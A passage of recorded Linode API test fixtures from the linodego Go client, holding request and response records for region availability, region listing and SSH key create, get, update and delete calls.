"gpu-rtx6000-2.1", "available": false}, {"region": "ca-central", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "ca-central", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "ca-central", "plan": "premium131072.7", "available": false}, {"region": "ca-central", "plan": "premium16384.7", "available": false}, {"region": "ca-central", "plan": "premium262144.7", "available": false}, {"region": "ca-central", "plan": "premium32768.7", "available": false}, {"region": "ca-central", "plan": "premium4096.7", "available": false}, {"region": "ca-central", "plan": "premium524288.7", "available": false}, {"region": "ca-central", "plan": "premium65536.7", "available": false}, {"region": "ca-central", "plan": "premium8192.7", "available": false}, {"region": "ca-central", "plan": "premium98304.7", "available": false}, {"region": "ap-southeast", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "ap-southeast", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "ap-southeast", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "ap-southeast", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "ap-southeast", "plan": "premium131072.7", "available": false}, {"region": "ap-southeast", "plan": "premium16384.7", "available": false}, {"region": "ap-southeast", "plan": "premium262144.7", "available": false}, {"region": "ap-southeast", "plan": "premium32768.7", "available": false}, {"region": "ap-southeast", "plan": "premium4096.7", "available": false}, {"region": "ap-southeast", "plan": "premium524288.7", "available": false}, {"region": "ap-southeast", "plan": "premium65536.7", "available": false}, {"region": "ap-southeast", "plan": "premium8192.7", "available": false}, {"region": "ap-southeast", "plan": "premium98304.7", "available": false}, {"region": "us-iad", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "us-iad", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "us-iad", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "us-iad", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "us-iad", "plan": "premium131072.7", "available": true}, {"region": "us-iad", "plan": "premium16384.7", "available": true}, {"region": "us-iad", "plan": "premium262144.7", "available": true}, {"region": "us-iad", "plan": "premium32768.7", "available": true}, {"region": "us-iad", "plan": "premium4096.7", "available": true}, {"region": "us-iad", "plan": "premium524288.7", "available": true}, {"region": "us-iad", "plan": "premium65536.7", "available": true}, {"region": "us-iad", "plan": "premium8192.7", "available": true}, {"region": "us-iad", "plan": "premium98304.7", "available": true}, {"region": "us-ord", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "us-ord", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "us-ord", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "us-ord", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "us-ord", "plan": "premium131072.7", "available": true}, {"region": "us-ord", "plan": "premium16384.7", "available": true}, {"region": "us-ord", "plan": "premium262144.7", "available": true}, {"region": "us-ord", "plan": "premium32768.7", "available": true}, {"region": "us-ord", "plan": "premium4096.7", "available": true}, {"region": "us-ord", "plan": "premium524288.7", "available": true}, {"region": "us-ord", "plan": "premium65536.7", "available": true}, {"region": "us-ord", "plan": "premium8192.7", "available": true}, {"region": "us-ord", "plan": "premium98304.7", "available": true}, {"region": "fr-par", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "fr-par", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "fr-par", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "fr-par", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "fr-par", "plan": "premium131072.7", "available": true}, {"region": "fr-par", "plan": "premium16384.7", "available": true}, {"region": "fr-par", "plan": "premium262144.7", "available": true}, {"region": "fr-par", "plan": "premium32768.7", "available": true}, {"region": "fr-par", "plan": "premium4096.7", "available": true}, {"region": "fr-par", "plan": "premium524288.7", "available": true}, {"region": "fr-par", "plan": "premium65536.7", "available": true}, {"region": "fr-par", "plan": "premium8192.7", "available": true}, {"region": "fr-par", "plan": "premium98304.7", "available": true}, {"region": "us-sea", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "us-sea", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "us-sea", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "us-sea", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "us-sea", "plan": "premium131072.7", "available": true}, {"region": "us-sea", "plan": "premium16384.7", "available": true}, {"region": "us-sea", "plan": "premium262144.7", "available": true}, {"region": "us-sea", "plan": "premium32768.7", "available": true}, {"region": "us-sea", "plan": "premium4096.7", "available": true}, {"region": "us-sea", "plan": "premium524288.7", "available": true}, {"region": "us-sea", "plan": "premium65536.7", "available": true}, {"region": "us-sea", "plan": "premium8192.7", "available": true}, {"region": "us-sea", "plan": "premium98304.7", "available": true}, {"region": "br-gru", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "br-gru", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "br-gru", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "br-gru", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "br-gru", "plan": "premium131072.7", "available": true}, {"region": "br-gru", "plan": "premium16384.7", "available": true}, {"region": "br-gru", "plan": "premium262144.7", "available": true}, {"region": "br-gru", "plan": "premium32768.7", "available": true}, {"region": "br-gru", "plan": "premium4096.7", "available": true}, {"region": "br-gru", "plan": "premium524288.7", "available": true}, {"region": "br-gru", "plan": "premium65536.7", "available": true}, {"region": "br-gru", "plan": "premium8192.7", "available": true}, {"region": "br-gru", "plan": "premium98304.7", "available": true}, {"region": "nl-ams", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "nl-ams", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "nl-ams", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "nl-ams", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "nl-ams", "plan": "premium131072.7", "available": true}], "page": 2, "pages": 3, "results": 299}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions/availability?page=3 method: GET response: body: '{"data": [{"region": "nl-ams", "plan": "premium16384.7", "available": true}, {"region": "nl-ams", "plan": "premium262144.7", "available": true}, {"region": "nl-ams", "plan": "premium32768.7", "available": true}, {"region": "nl-ams", "plan": "premium4096.7", "available": true}, {"region": "nl-ams", "plan": "premium524288.7", "available": true}, {"region": "nl-ams", "plan": "premium65536.7", "available": true}, {"region": "nl-ams", "plan": "premium8192.7", "available": true}, {"region": "nl-ams", "plan": "premium98304.7", "available": true}, {"region": "se-sto", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "se-sto", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "se-sto", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "se-sto", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "se-sto", "plan": "premium131072.7", "available": true}, {"region": "se-sto", "plan": "premium16384.7", "available": true}, {"region": "se-sto", "plan": "premium262144.7", "available": true}, {"region": "se-sto", "plan": "premium32768.7", "available": true}, {"region": "se-sto", "plan": "premium4096.7", "available": true}, {"region": "se-sto", "plan": "premium524288.7", "available": true}, {"region": "se-sto", "plan": "premium65536.7", "available": true}, {"region": "se-sto", "plan": "premium8192.7", "available": true}, {"region": "se-sto", "plan": "premium98304.7", "available": true}, {"region": "in-maa", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "in-maa", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "in-maa", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "in-maa", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "in-maa", "plan": "premium131072.7", "available": true}, {"region": "in-maa", "plan": "premium16384.7", "available": true}, {"region": "in-maa", "plan": "premium262144.7", "available": true}, {"region": "in-maa", "plan": "premium32768.7", "available": true}, {"region": "in-maa", "plan": "premium4096.7", "available": true}, {"region": "in-maa", "plan": "premium524288.7", "available": true}, {"region": "in-maa", "plan": "premium65536.7", "available": true}, {"region": "in-maa", "plan": "premium8192.7", "available": true}, {"region": "in-maa", "plan": "premium98304.7", "available": true}, {"region": "jp-osa", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "jp-osa", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "jp-osa", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "jp-osa", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "jp-osa", "plan": "premium131072.7", "available": true}, {"region": "jp-osa", "plan": "premium16384.7", "available": true}, {"region": "jp-osa", "plan": "premium262144.7", "available": true}, {"region": "jp-osa", "plan": "premium32768.7", "available": true}, {"region": "jp-osa", "plan": "premium4096.7", "available": true}, {"region": "jp-osa", "plan": "premium524288.7", "available": true}, {"region": "jp-osa", "plan": "premium65536.7", "available": true}, {"region": "jp-osa", "plan": "premium8192.7", "available": true}, {"region": "jp-osa", "plan": "premium98304.7", "available": true}, {"region": "it-mil", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "it-mil", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "it-mil", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "it-mil", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "it-mil", "plan": "premium131072.7", "available": true}, {"region": "it-mil", "plan": "premium16384.7", "available": true}, {"region": "it-mil", "plan": "premium262144.7", "available": true}, {"region": "it-mil", "plan": "premium32768.7", "available": true}, {"region": "it-mil", "plan": "premium4096.7", "available": true}, {"region": "it-mil", "plan": "premium524288.7", "available": true}, {"region": "it-mil", "plan": "premium65536.7", "available": true}, {"region": "it-mil", "plan": "premium8192.7", "available": true}, {"region": "it-mil", "plan": "premium98304.7", "available": true}, {"region": "us-mia", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "us-mia", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "us-mia", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "us-mia", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "us-mia", "plan": "premium131072.7", "available": true}, {"region": "us-mia", "plan": "premium16384.7", "available": true}, {"region": "us-mia", "plan": "premium262144.7", "available": true}, {"region": "us-mia", "plan": "premium32768.7", "available": true}, {"region": "us-mia", "plan": "premium4096.7", "available": true}, {"region": "us-mia", "plan": "premium524288.7", "available": true}, {"region": "us-mia", "plan": "premium65536.7", "available": true}, {"region": "us-mia", "plan": "premium8192.7", "available": true}, {"region": "us-mia", "plan": "premium98304.7", "available": true}, {"region": "id-cgk", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "id-cgk", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "id-cgk", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "id-cgk", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "id-cgk", "plan": "premium131072.7", "available": true}, {"region": "id-cgk", "plan": "premium16384.7", "available": true}, {"region": "id-cgk", "plan": "premium262144.7", "available": true}, {"region": "id-cgk", "plan": "premium32768.7", "available": true}, {"region": "id-cgk", "plan": "premium4096.7", "available": true}, {"region": "id-cgk", "plan": "premium524288.7", "available": true}, {"region": "id-cgk", "plan": "premium65536.7", "available": true}, {"region": "id-cgk", "plan": "premium8192.7", "available": true}, {"region": "id-cgk", "plan": "premium98304.7", "available": true}, {"region": "us-lax", "plan": "gpu-rtx6000-1.1", "available": false}, {"region": "us-lax", "plan": "gpu-rtx6000-2.1", "available": false}, {"region": "us-lax", "plan": "gpu-rtx6000-3.1", "available": false}, {"region": "us-lax", "plan": "gpu-rtx6000-4.1", "available": false}, {"region": "us-lax", "plan": "premium131072.7", "available": true}, {"region": "us-lax", "plan": "premium16384.7", "available": true}, {"region": "us-lax", "plan": "premium262144.7", "available": true}, {"region": "us-lax", "plan": "premium32768.7", "available": true}, {"region": "us-lax", "plan": "premium4096.7", "available": true}, {"region": "us-lax", "plan": "premium524288.7", "available": true}, {"region": "us-lax", "plan": "premium65536.7", "available": true}, {"region": "us-lax", "plan": "premium8192.7", "available": true}, {"region": "us-lax", "plan": "premium98304.7", "available": true}], "page": 3, "pages": 3, "results": 299}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestRegions_List.yaml000066400000000000000000000174621455402072200307120ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 12}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestSSHKey_GetFound.yaml000066400000000000000000000130041455402072200311760ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def","ssh_key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys method: POST response: body: '{"id": 225129, "label": "go-test-def", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "479" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/225129 method: GET response: body: '{"id": 225129, "label": "go-test-def", "ssh_key": "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def", "created": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "479" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/225129 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestSSHKey_GetMissing.yaml000066400000000000000000000020771455402072200315440ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys/123 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestSSHKey_Update.yaml000066400000000000000000000127051455402072200307140ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"go-test-def","ssh_key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYlv4Ns3tY2NEseuuMXEz1sLzO9sGC0cwaT2ECbWFyrsn1Fg5ISdkaJD8LiuhZ41/1Mh0Sq49wY89yLkmw+Ukrd+thFbhUqTzjL09U89kn3Ds/ajVJgwnJ4pXmBqhq0/3pmO/UkYIBi5ErTnPWL+yHAoQ1HsVetxYUmY2SPaT0pduDIrvNZRvWn3Nvn9qsUVfthWiGc8oHWE5xyd7+3UPLHSMkE4rZd2k6e7bJWCM/VJ7ZrJQ6UVTDXjBCkkT12WsOWxcEuL36RUGgGa4h5M4IY0SkgQSKHer01dJSj3c6OBzj2CRDZFoM8f/YC66s0+ZQ9cE/aADDycMIvqOJBI6X go-test-def"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/sshkeys method: POST response: body: '{"id": 225130, "label": "go-test-def", "ssh_key": "ssh-rsa 